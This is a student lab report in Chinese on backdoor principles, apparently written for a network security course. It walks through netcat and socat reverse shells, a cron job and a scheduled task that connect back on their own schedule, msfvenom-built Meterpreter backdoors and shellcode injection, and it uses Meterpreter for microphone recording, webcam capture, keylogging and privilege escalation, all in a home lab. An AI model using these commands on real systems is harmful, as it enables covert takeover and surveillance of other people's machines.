2018-2019-2 20165330《網絡對抗技術》Exp2 後門原理與實踐

目錄


實驗內容

返回目錄html


基礎問題

  • 例舉你能想到的一個後門進入到你係統中的可能方式?linux

    有時在網頁版下載軟件的安裝包時,會藏有後門程序,當啓動安裝包進行安裝,後門就潛入到系統中。web

  • 例舉你知道的後門如何啓動起來(win及linux)的方式?shell

    • 假裝成經常使用軟件,誘使用戶點擊
    • 遠程監遵從而反向鏈接被控主機,發送後門,控制後門啓動
    • linux的cron程序被修改,使得自動定時執行後門程序
  • Meterpreter有哪些給你映像深入的功能?windows

    能夠獲取被控主機的音頻文件、開啓攝像頭和錄像功能,捕獲畫面。安全

  • 如何發現本身有系統有沒有被安裝後門?tcp

    • 按期用電腦所下載的殺毒軟件對系統進行檢測,及時處理可疑程序
    • 開啓防火牆,查看開啓的端口及對應的進程,通常不是系統默認開啓的端口都是可疑的,再結合對應進程的抓包查看通訊數據分析是否爲後門。

返回目錄編輯器


相關知識

ncat

  • 是一個底層工具,進行基本的TCP UDP數據收發。常被與其餘工具結合使用,起到後門的做用。
  • Linux中通常自帶ncat,可使用man netcatman nc可查看其使用說明
  • Win得到Linux Shell
    • windows打開監聽:ncat.exe -l -p 5330
    • Linux反彈鏈接win:nc 192.168.56.1 5330 -e /bin/sh(IP爲win IP)
    • windows下得到一個linux shell,可運行任何指令,如ls
      image
  • Linux得到Win Shell
    • Linux運行監聽指令:nc -l -p 5330
    • Windows反彈鏈接Linux:ncat.exe -e cmd.exe 192.168.107.128 5330(IP爲Linux IP)
    • Linux下看到Windows的命令提示
      image
  • 傳輸數據
    • Windows下監聽端口:ncat.exe -l -p 5330
    • Linux下鏈接到Windows的端口:ncat 192.168.56.1 5330(IP爲win IP)
    • 創建鏈接以後,就能夠傳輸數據
      image

socat

  • socatncat的加強版,它使用的格式是socat [options] <address> <address>,其中兩個address是必選項,而options是可選項。
  • socat的基本功能就是創建兩個雙向的字節流,數據就在其間傳輸,參數address就是表明了其中的一個方向。所謂流,表明了數據的流向,而數據則能夠有許多不一樣的類型,命令中也就相應須要許多選項對各類不一樣的類型數據流進行限定與說明。

Meterpreter

返回目錄工具


實驗步驟

使用netcat獲取主機操做Shell,cron啓動
  • 這裏將kali做爲被攻擊目標
  • 在Windows下打開命令行,使用ipconfig查看Windows的IP地址爲192.168.56.1
    image
  • Windows中使用ncat.exe -l 5330監聽5330端口
    image
  • 在Kali中,使用crontab -e指令編輯一條定時任務,選擇編輯器時選擇"3",在底行插入30 * * * * /bin/netcat 192.168.56.1 5330 -e /bin/sh(意爲在每一個小時的第30分鐘反向鏈接Windows的5330端口)
    image
  • :wq保存退出配置即生效,可經過crontab -l查看
  • 在系統時間到第30分鐘,就發現得到kali shell
    image
使用socat獲取主機操做Shell, 任務計劃啓動
  • win10系統中找到左下角的windows標誌:右鍵-計算機管理-任務計劃程序-建立任務
    image
  • 常規中填寫任務名稱後(我填寫了win),觸發器-新建新建觸發器,而後肯定
    image
  • 操做-新建,導入你所下載解壓後的socat.exe的路徑,在添加參數中填入tcp-listen:5330 exec:cmd.exe,pty,stderr(意爲把cmd.exe綁定到端口5330,同時把cmd.exestderr重定向到stdout上)
    image
  • 建立完成以後,按Windows+L快捷鍵鎖定計算機,再次打開時,雙擊任務計劃程序庫能夠發現以前建立的任務已經開始運行
    image
  • 在kali中輸入socat - tcp:192.168.56.1:5330(-表明標準的輸入輸出,第二個流鏈接到Windows主機的5330端口,IP爲windows的IP),接着能夠發現已經成功得到一個cmd shell
    image
使用MSF meterpreter(或其餘軟件)生成可執行文件,利用ncat或socat傳送到主機並運行獲取主機Shell
  • 在kali中輸入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.246.128 LPORT=5330 -f exe > 20165330_backdoor.exe(IP爲kali的IP)生成後門程序20165330_backdoor.exe
  • 在Windows中使用ncat.exe -lv 5330 > 20165330_backdoor.exe查看鏈接狀態
    image
  • kali中輸入nc 192.168.56.1 5330 < 20165330_backdoor.exe(此處的IP爲Windows的IP)將生成的後門程序傳送到Windows主機上
  • 傳輸成功
    image
    image
  • 此時kali中新打開一個終端,使用msfconsole進入msf控制檯
    image
  • 輸入use exploit/multi/handler使用監聽模塊,設置payload
  • 使用和生成後門程序時相同的payload:set payload windows/meterpreter/reverse_tcp
  • set LHOST 192.168.246.128此處爲kali的IP(和生成後門程序時指定的IP相同)
  • 端口號也相同:set LPORT 5330
  • 設置完成後,exploit開始監聽
    image
  • 在Windows中先使用ctrl+c退出上條命令,在執行:20165330_backdoor.exe(注意電腦的防火牆和殺毒軟件要關掉),發現kali得到Windows主機的鏈接,而且獲得了遠程控制的shell
    image
使用MSF meterpreter(或其餘軟件)生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容,並嘗試提權
  • 重複上個內容操做至exploit
  • 可使用record_mic能夠截獲一段音頻
    image
  • 使用webcam_snap可使用攝像頭進行拍照
    image
  • 使用screenshot能夠進行截屏
    image
  • 使用keyscan_start指令開始記錄下擊鍵的過程,使用keyscan_dump指令讀取擊鍵的記錄
    image
  • 還可使用getuid查看當前用戶,使用getsystem進行提權
使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈鏈接Shell

參考博客:任胤同窗博客學姐博客msfvenom命令說明
第一種:ui

  • 這裏是kali本身監聽本身,首先生成一段shellcodemsfvenom -p linux/x86/meterpreter/shell_reverse_tcp -b '\x00\x0a\0d' LHOST=192.168.246.128 LPORT=5330 -f c(IP爲kali本身的IP)
    image
  • 使用實驗一中的第三部分步驟將生成的shellcode注入到pwn1中(注意去掉引號和空格),步驟點這裏,隨後找到shellcode地址0xffffd370
    image
  • 注入成功後,kali中打開新的終端,輸入msfconsole進入MSF控制檯
    • 輸入use exploit/multi/handler使用監聽模塊,設置payload
    • 使用和生成後門程序時相同的payload:set payload linux/x86/meterpreter/reverse_tcp
    • set LHOST 192.168.246.128此處爲kali的IP(和生成後門程序時指定的IP相同)
    • 端口號也相同:set LPORT 5330
    • 設置完成後,exploit開始監聽
      image
  • 舊的終端中運行pwn1(cat input_shellcode;cat) | ./pwn1
  • 發現沒有反應。。。緣由在於生成的shellcode有問題。。

第二種:

  • MSF能夠實現直接將shellcode注入可執行文件
  • 使用命令msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.246.128 LPORT=5330 -x /root/pwn2 -f elf > pwn3(-x參數爲指定一個自定義的可執行文件做爲模板,這裏將shellcode弄到pwn1模板中)
    image
  • msfconsole進入MSF控制檯
    • 輸入use exploit/multi/handler使用監聽模塊,設置payload
    • 使用和生成後門程序時相同的payload:set payload linux/x86/meterpreter/reverse_tcp
    • set LHOST 192.168.246.128此處爲kali的IP(和生成後門程序時指定的IP相同)
    • 端口號也相同:set LPORT 5330
    • 設置完成後,exploit開始監聽
  • 加權限運行pwn3
    image
  • 獲得shell命令
    image

第三種(符合要求的)

  • 官網下載生成好的shellcode
    image
  • 將其中的code部分注入pwn1
    image
  • 打開新的終端進入msf控制檯:msfconsole
    • 輸入use exploit/multi/handler使用監聽模塊,設置payload
    • 使用和生成後門程序時相同的payload:set payload linux/x86/shell_reverse_tcp
    • set LHOST 127.0.0.1此處爲kali的IP(和生成後門程序時指定的IP相同)
    • 端口號也相同:set LPORT 4444
    • 設置完成後,exploit開始監聽
      image
  • 執行:(cat input_shellcode;cat) | ./pwn1(注意回車)
    image
  • 發現已得到shell
    image
    ps:若是沒成功把注入的部分從頭開始再找一遍地址從頭開始注入

返回目錄


實驗過程當中遇到的問題

  • 在進入msf控制檯時,發現進入不了,出現如下錯誤
    image

    解決辦法:我一開始成功進入之後,又退出,後面重複屢次生成後門程序,可能這其中致使程序再也不是原始的,我將兩邊的程序都刪除後,重啓電腦在從新按步驟後成功。

  • 在進入msf控制檯後,進入監聽是報錯,出現Session manipulation failed: Cannot allocate memory

    解決辦法:該錯誤是提示沒法分配內存,我設置的內存是1G,將虛擬機關機,進入虛擬機-設置-內存,將內存改大一倍在開啓虛擬機便可。


實驗總結與體會

  • 經過本次實驗我明白了後門的基本原理,按照老師文檔和學長學姐博客的指導一步步完成實驗,才瞭解到後門的"威力",也告訴了咱們平時要多注意網上安全,留意惡意程序;在實踐中一步步的操做也着實吸引我嘗試不一樣的內容,但願在以後能夠嘗試出結果、更清晰本身的步驟,有更多收穫。
相關文章
相關標籤/搜索